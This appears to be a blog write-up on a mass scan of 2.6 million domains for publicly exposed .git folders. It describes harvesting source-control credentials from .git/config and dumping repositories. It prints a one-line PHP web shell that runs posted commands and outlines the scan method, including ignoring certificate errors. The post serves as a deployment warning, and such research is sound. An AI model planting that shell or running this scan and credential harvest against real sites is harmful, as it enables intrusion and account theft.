visit
TLDR: Watch out for mistakes in the deployment process. Never expose your hidden .git folder to the public.
<?php
echo system($_POST['cmd']);
?>
With this little code snippet, everybody can execute arbitrary code on the server.But this is not the end. In the config file (.git/config) of the git repositories, I found the access credential for the whole source code management system (like GitHub or GitLab), with unrestricted admin access. This is due to the issue, that the user and password were set in the URL like //username:[email protected]/.
Getting the domains
I chose a country that allows for DNS zone transfer to obtain all the domains of this country. It will take some time to download the complete zone file. With a simple python script, I extracted the NS records and from these records the domain names.Scanning process
With another python script, I read the domains and send a request to <domain>/.git/HEAD and checked if the response body contains ‘refs/heads’. The request was sent via HTTP and HTTPS.
It is important to ignore the SSL certificate check. I learned that many git repositories were found over HTTPS but with an invalid certificate. By ignoring the invalid SSL certificates these directories can be accessed anyway.If a git repository was found I also requested the /.git/config file from the server and checked if it contains a username or even a password to the source control system.
Source code
The git repository was downloaded and extracted with a slightly modified version of GitDumper (, many thanks to for this awesome project). Sometimes the web server did not provide access to the whole .git folder and some files could not be accessed. I could not figure out why, but even if some files were not accessible I could extract some code from most of the repositories.With the Git Extractor script all the versions of the code were extracted. With all the different versions and source code files, you can use the search method to find interesting things.Stats
I scanned 2.6 million domains. Unfortunately, I did not log how many did not respond. I found:1053 fully or partially exposed git repositories161 usernames in the git config data12 usernames with passwords in the git config dataThese are the results of only the main domains. Imagine what would happen if we scan all the subdomains. I have no doubt you’d find a lot more there.Even after I parallelized the scanning script it took some days to scan the 2.6 million domains. I did not expect many results but was surprised by how widespread the problem is.Takeaway: Check your server and deployment to not expose the hidden .git folder.